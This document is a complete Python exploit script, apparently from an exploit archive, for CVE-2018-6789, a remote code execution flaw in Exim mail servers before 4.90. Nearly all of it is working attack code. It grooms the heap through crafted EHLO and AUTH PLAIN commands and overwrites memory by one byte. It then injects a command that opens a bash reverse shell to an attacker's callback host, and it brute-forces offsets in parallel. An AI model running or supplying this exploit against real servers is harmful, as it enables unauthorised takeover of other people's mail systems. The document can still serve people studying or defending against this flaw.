# Exploit Title: exim 4.90 - Remote Code Execution # Date: 2018-10-24 # Exploit Author: hackk.gr # Vendor Homepage: exim.org # Version: exim < 4.90 # Tested on: debian exim 4.89, ubuntu exim 4.86_2 # CVE : CVE-2018-6789 #!/usr/bin/python #debian exim 4.89 #ubuntu exim 4.86_2 import time import socket import struct import os import os.path import sys import ssl import random from multiprocessing import Process, Queue s = None f = None test = True rcpt_index_start = 0x120 bufsize = 8200 def connect(host, port): global s global f s = socket.create_connection((host,port)) f = s.makefile("rw", bufsize=0) def p(v): return struct.pack("<Q", v) def readuntil(delim='\n'): data = '' auth_plain_available = False while True: l = f.readline() if l == "": return "" if l.find("PLAIN") > -1: auth_plain_available = True if test: if len(l) > 70: sys.stdout.write(l[:70] + " ...\n") sys.stdout.flush() else: print l.strip("\r").strip("\n") data = data + l if data.find(delim) > -1: return data if l == "\n" or l == "": return "" return data def write(data): f.write(data + "\n") def ehlo(v): write("EHLO " + v) return readuntil('HELP') def unrec(v): write(v) readuntil('command') def auth_plain(v): encode = v.encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def auth_plain1(v): encode = v.encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def auth_plain2(v,value): encode = v.encode('base64').replace('\n','').replace('=','') value = chr(value).encode('base64').replace('\n','').replace('=','') write("AUTH PLAIN " + encode[:-1] + value) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l def one_byte_overwrite(): v = "C" * bufsize encode = v.encode('base64').replace('\n','').replace('=','') encode = encode[:-1] + "PE" write("AUTH PLAIN " + encode) l = f.readline() if test: if l.find("Incorrect") > -1: raise Exception("WRONG DRIVER") if l.find("not advert") > -1 or l.find("not supported")> -1: raise Exception("NO AUTH PLAIN CONFIG") print l lookup_table = {0x00: [0,3], 0x01: [0,7], 0x02: [0,11], 0x03: [0,15], 0x04: [0,19], 0x05: [0,23], 0x06: [0,27], 0x07: [0,31], 0x08: [0,35], 0x09: [0,39], 0x0a: [0,43], 0x0b: [0,47], 0x0c: [0,51], 0x0d: [0,55], 0x0e: [0,59], 0x0f: [0,63], 0x10: [0,67], 0x11: [0,71], 0x12: [0,75], 0x13: [0,79], 0x14: [0,83], 0x15: [0,87], 0x16: [0,91], 0x17: [0,95], 0x18: [0,99], 0x19: [0,103], 0x1a: [0,107], 0x1b: [0,111], 0x1c: [0,115], 0x1d: [0,119], 0x1e: [0,123], 0x1f: [0,127], 0x20: [0,131], 0x21: [0,135], 0x22: [0,139], 0x23: [0,143], 0x24: [0,147], 0x25: [0,151], 0x26: [0,155], 0x27: [0,159], 0x28: [0,163], 0x29: [0,167], 0x2a: [0,171], 0x2b: [0,175], 0x2c: [0,179], 0x2d: [0,183], 0x2e: [0,187], 0x2f: [0,191], 0x30: [0,195], 0x31: [0,199], 0x32: [0,203], 0x33: [0,207], 0x34: [0,211], 0x35: [0,215], 0x36: [0,219], 0x37: [0,223], 0x38: [0,227], 0x39: [0,231], 0x3a: [0,235], 0x3b: [0,239], 0x3c: [0,243], 0x3d: [0,247], 0x3e: [0,251], 0x3f: [0,254], 0x40: [64,3], 0x41: [64,7], 0x42: [64,11], 0x43: [64,15], 0x44: [64,19], 0x45: [64,23], 0x46: [64,27], 0x47: [64,31], 0x48: [64,35], 0x49: [64,39], 0x4a: [64,43], 0x4b: [64,47], 0x4c: [64,51], 0x4d: [64,55], 0x4e: [64,59], 0x4f: [64,63], 0x50: [64,67], 0x51: [64,71], 0x52: [64,75], 0x53: [64,79], 0x54: [64,83], 0x55: [64,87], 0x56: [64,91], 0x57: [64,95], 0x58: [64,99], 0x59: [64,103], 0x5a: [64,107], 0x5b: [64,111], 0x5c: [64,115], 0x5d: [64,119], 0x5e: [64,123], 0x5f: [64,127], 0x60: [64,131], 0x61: [64,135], 0x62: [64,139], 0x63: [64,143], 0x64: [64,147], 0x65: [64,151], 0x66: [64,155], 0x67: [64,159], 0x68: [64,163], 0x69: [64,167], 0x6a: [64,171], 0x6b: [64,175], 0x6c: [64,179], 0x6d: [64,183], 0x6e: [64,187], 0x6f: [64,191], 0x70: [64,195], 0x71: [64,199], 0x72: [64,203], 0x73: [64,207], 0x74: [64,211], 0x75: [64,215], 0x76: [64,219], 0x77: [64,223], 0x78: [64,227], 0x79: [64,231], 0x7a: [64,235], 0x7b: [64,239], 0x7c: [64,243], 0x7d: [64,247], 0x7e: [64,251], 0x7f: [64,254], 0x80: [128,3], 0x81: [128,7], 0x82: [128,11], 0x83: [128,15], 0x84: [128,19], 0x85: [128,23], 0x86: [128,27], 0x87: [128,31], 0x88: [128,35], 0x89: [128,39], 0x8a: [128,43], 0x8b: [128,47], 0x8c: [128,51], 0x8d: [128,55], 0x8e: [128,59], 0x8f: [128,63], 0x90: [128,67], 0x91: [128,71], 0x92: [128,75], 0x93: [128,79], 0x94: [128,83], 0x95: [128,87], 0x96: [128,91], 0x97: [128,95], 0x98: [128,99], 0x99: [128,103], 0x9a: [128,107], 0x9b: [128,111], 0x9c: [128,115], 0x9d: [128,119], 0x9e: [128,123], 0x9f: [128,127], 0xa0: [128,131], 0xa1: [128,135], 0xa2: [128,139], 0xa3: [128,143], 0xa4: [128,147], 0xa5: [128,151], 0xa6: [128,155], 0xa7: [128,159], 0xa8: [128,163], 0xa9: [128,167], 0xaa: [128,171], 0xab: [128,175], 0xac: [128,179], 0xad: [128,183], 0xae: [128,187], 0xaf: [128,191], 0xb0: [128,195], 0xb1: [128,199], 0xb2: [128,203], 0xb3: [128,207], 0xb4: [128,211], 0xb5: [128,215], 0xb6: [128,219], 0xb7: [128,223], 0xb8: [128,227], 0xb9: [128,231], 0xba: [128,235], 0xbb: [128,239], 0xbc: [128,243], 0xbd: [128,247], 0xbe: [128,251], 0xbf: [128,254], 0xc0: [192,3], 0xc1: [192,7], 0xc2: [192,11], 0xc3: [192,15], 0xc4: [192,19], 0xc5: [192,23], 0xc6: [192,27], 0xc7: [192,31], 0xc8: [192,35], 0xc9: [192,39], 0xca: [192,43], 0xcb: [192,47], 0xcc: [192,51], 0xcd: [192,55], 0xce: [192,59], 0xcf: [192,63], 0xd0: [192,67], 0xd1: [192,71], 0xd2: [192,75], 0xd3: [192,79], 0xd4: [192,83], 0xd5: [192,87], 0xd6: [192,91], 0xd7: [192,95], 0xd8: [192,99], 0xd9: [192,103], 0xda: [192,107], 0xdb: [192,111], 0xdc: [192,115], 0xdd: [192,119], 0xde: [192,123], 0xdf: [192,127], 0xe0: [192,131], 0xe1: [192,135], 0xe2: [192,139], 0xe3: [192,143], 0xe4: [192,147], 0xe5: [192,151], 0xe6: [192,155], 0xe7: [192,159], 0xe8: [192,163], 0xe9: [192,167], 0xea: [192,171], 0xeb: [192,175], 0xec: [192,179], 0xed: [192,183], 0xee: [192,187], 0xef: [192,191], 0xf0: [192,195], 0xf1: [192,199], 0xf2: [192,203], 0xf3: [192,207], 0xf4: [192,211], 0xf5: [192,215], 0xf6: [192,219], 0xf7: [192,223], 0xf8: [192,227], 0xf9: [192,231], 0xfa: [192,235], 0xfb: [192,239], 0xfc: [192,243], 0xfd: [192,247], 0xfe: [192,251], 0xff: [192,254], } def exploit(b1, b2, b3, rcpt_index, target, cb, cbport): global s global f #if c % 0x50 == 0: # print " byte1=0x%02x byte2=0x%02x byte3=0x%02x rcpt_index=0x%02x" % (b1, b2, b3, rcpt_index) try: connect(target, 25) except: raise Exception("CONNECTION ERROR") banner = f.readline() if test: print banner.strip("\r").strip("\n") ehlo("A" * 8000) ehlo("B" * 16) unrec("\xff" * 2000) ehlo("D" * bufsize) one_byte_overwrite() fake_header = p(0) fake_header += p(0x1f51) res = auth_plain1("E" * 176 + fake_header + "E" * (bufsize-176-len(fake_header))) res = ehlo("F" * 16) if res == "": raise Exception("CRASHED") unrec("\xff" * 2000) unrec("\xff" * 2000) fake_header = p(0x4110) fake_header += p(0x1f50) auth_plain("G" * 176 + fake_header + "G" * (bufsize-176-len(fake_header))) auth_plain2('A'* (bufsize) + p(0x2021) + chr(b1) + chr(b2) + chr(lookup_table[b3][0]), lookup_table[b3][1]) res = ehlo("I" * 16) if res == "": s.close() f.close() raise Exception("EHLO(I)") acl_smtp_rcpt_offset = rcpt_index local_host = cb local_port = cbport cmd = "/usr/bin/setsid /bin/bash -c \"/bin/bash --rcfile <(echo 'echo " + "0x%02x " % b1 + "0x%02x " % b2 + "0x%02x " % b3 + "0x%04x " % rcpt_index + "') -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\"" cmd_expansion_string = "${run{" + cmd + "}}\0" auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\x00")# * (bufsize - acl_smtp_rcpt_offset - len(cmd_expansion_string))) write("MAIL FROM:<postmaster@localhost>") res = f.readline() if res != "": if test: raise Exception("NO TARGET") raise Exception("OFFSET") raise Exception("BYTE") write("RCPT TO:<postmaster@localhost>") readuntil("Accepted") write("RCPT TO:<postmaster@localhost>") if f.readline() == "": s.close() f.close() raise Exception("RCPT TO") def checkvuln(host): try: exploit(0xff, 0xff, 0xff, rcpt_index_start, host, "127.0.0.1", "1337") except Exception as e: print e if str(e) == "EHLO(I)": return True return False def _exploit(b1, b2, b3, rcpt_index, target, cb, cbport, q): if b1 > 0xff or b2 > 0xff or b3 > 0xff: q.put([b1,b2,b3,"VALUE"]) return try: exploit(b1, b2, b3, rcpt_index, target, cb, cbport) except Exception as e: e = str(e) if e == "[Errno 104] Connection reset by peer" or e.find("EOF occurred") > -1: e = "BYTE" q.put([b1,b2,b3,e]) if __name__ == '__main__': if len(sys.argv) < 4: print "%s <cb> <cbport> <target>" % sys.argv[0] sys.exit(1) target = sys.argv[3] cb = sys.argv[1] cbport = sys.argv[2] if len(sys.argv) == 8: print "reuse fixed offsets" b1 = int(sys.argv[4], 16) b2 = int(sys.argv[5], 16) b3 = int(sys.argv[6], 16) rcpt_index = int(sys.argv[7], 16) try: exploit(b1, b2, b3, rcpt_index, target, cb, cbport) except Exception as e: print e sys.exit(1) print "check vuln" if not checkvuln(target): print "false" sys.exit(1) print "true" test=False allbytes = [offset for offset in xrange(0, 0x110)] allbytes_10 = [offset for offset in xrange(0x10, 0x110, 0x10)] b3_survived = [] b3_survived_stop = False tested = [] try: q = Queue() procs = [] print print "Discover first byte in offset" print sys.stdout.write("Try Offsets %02x%02x%02x to %02x%02x%02x ..." % (0x00,0xff,0xff,0xff,0xff,0xff)) for b3 in allbytes: if b3 % 0x10 == 0 and b3 <= 0xff: sys.stdout.write("\rTry Offsets %02x%02x%02x to %02x%02x%02x ..." % (b3,0xff,0xff,0xff,0xff,0xff)) b1 = 0x00 for b2 in allbytes_10: proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() to_break = False if len(procs) == 16: for i in xrange(0,16): result = q.get() if result[3] == "BYTE": if [b3, b2] not in tested: tested.append([b3, b2]) b3_survived.append(result[2]) sys.stdout.write("\nOffset %02x%02x%02x Survived ..." % (result[2],result[1],result[0])) else: to_break = True procs[:] = [] if to_break: break print "\n" print "Discover offsets for rcpt index brute force ..." print b1_survived = {} for b3 in b3_survived: for b2 in allbytes: if b2 % 0x10 == 0 and b2 <= 0xff: sys.stdout.write("\r\r\nTry Offsets %02x%02x%02x to %02x%02x%02x ... " % (b3,b2,0x00,b3,0xff,0xf0)) for b1 in allbytes_10: proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() if len(procs) == 16: for i in xrange(0,16): result = q.get() if result[3] == "OFFSET": if result[2] not in b1_survived: b1_survived[result[2]] = [] b1_survived[result[2]].append(result) sys.stdout.write("\n%02x%02x%02x Survived ..." % (result[2],result[1],result[0])) procs[:] = [] iteration_list = [n for n in xrange(0x100,0x1000,0x10)] iteration_list2 = [n for n in xrange(0x1000,0x3000,0x100)] for n in iteration_list2: iteration_list.append(n) b1_survived_priority = [] b1_survived_additional = [] for key in sorted(b1_survived): if len(b1_survived[key]) < 7: b1_survived_priority.append(b1_survived[key]) else: b1_survived_additional.append(b1_survived[key]) _b1_survived = [] for result in b1_survived_priority: _b1_survived.append(result) for result in b1_survived_additional: _b1_survived.append(result) print "\n" print "Start rcpt index brute force ..." print for result in _b1_survived: for s in result: sys.stdout.write("\rTry Offset %02x%02x%02x with rcpt index from 0x100 to 0x3000 ..." % (s[2],s[1],s[0])) for rcpt_index in iteration_list: proc = Process(target=_exploit, args=(s[0], s[1], s[2], rcpt_index, target, cb, cbport, q)) procs.append(proc) proc.daemon = True proc.start() if len(procs) == 16: for i in xrange(0,16): q.get() procs[:] = [] except KeyboardInterrupt: pass print "done."